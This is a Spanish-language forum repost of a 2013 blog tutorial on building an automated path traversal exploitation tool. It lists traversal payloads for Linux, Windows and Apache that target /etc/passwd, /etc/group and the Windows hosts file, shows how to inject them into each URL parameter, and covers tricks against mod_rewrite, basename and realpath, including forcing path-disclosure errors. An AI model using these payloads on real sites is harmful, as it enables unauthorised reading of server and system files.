Título: Tips for develop "Path Traversal" Tool Publicado por: MichBukana en 5 Septiembre 2013, 11:27 am (http://lh5.ggpht.com/-00j3Xi50CMY/UieADlizlBI/AAAAAAAAAGE/1hDohlvq0mM/image_thumb%25255B3%25255D.png?imgmax=800) Tips for develop "Path Traversal" Tool. By Ricardo M.R. En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad “Path Traversal o Transversal” primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en wikipedia o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación. Definiciones Basename: Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html' realpath: Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra Estudio Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis ..\..\ Windows ../../ Linux ../../ Apache ./ Apache con “basename” en el código fuente de la app vulnerable Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo. .././ ../.././ Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado: Suponiendo el siguiente caso /var/www/down/download.php?f=img.jpg "Arbitrary file download” Para acceder a /etc/passwd desde el download.php (fichero vulnerable) ../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd correcto ../../etc/passwd incorrecto Siendo que basta solamente con ir atrás 3 saltos ../../../etc/passwd para llegar al etc/passwd Desarrollando la App Un “Paso a Paso” de un caso común: A la url se le inyecta por cada parámetro: [linux] ../../../../../../../../../../../../../../../../etc/group [windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts con lo cual una url tal que así http://pepe.com/?a=1&b=2 terminaría variando como se aprecia a continuación: 2 peticiones en los 2 parámetros para la descarga del fichero “etc/group” en Linux. http://pepe.com/?a=[linux]&b=2 http://pepe.com/?a=1&b=[linux] y 2 peticiones en los 2 parámetros para la descarga del fichero “hosts” en Windows http://pepe.com/?a=[windows]&b=2 http://pepe.com/?a=1&b=[windows] Con Mod_Rewrite, Sin basename y sin realpath ----------------TRUCO 1--------------------------------- Ejemplo: http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php ya que con mod rewrite se ha especificado que cuando se acceda a http://localhost/PathTraversal/ptraversal.php se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php por ello se va a realizar las pruebas estándar para win y linux ../../../../../../../../../../../../../../../../etc/group \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts ----------------TRUCO 2--------------------------------- Se hace una petición para producir un error: http://xxxxx.com/download.php?file[]=' Si en el “Source” se encuentra un “FPD” se obtiene la ruta interna y se concatena a la url <b>/home/jonathan/public_html/download.php</b> tal que así, logrando de esta forma tener la ruta real (absoluta). http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php Sin Mod_Rewrite, Con basename y con realpath ----------------TRUCO 1--------------------------------- Ejemplo http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg Primero se corta la url desde dominio/ hasta ? PathTraversal/ptraversal.php se añade el ./ ./PathTraversal/ptraversal.php Y a partir de aquí se intenta escalar directorios http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php erróneo http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php correcto Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a “arbitrary file download” o un “Local File Include" (LFI). Fuente: http://code-disaster.blogspot.com/ (http://code-disaster.blogspot.com/) |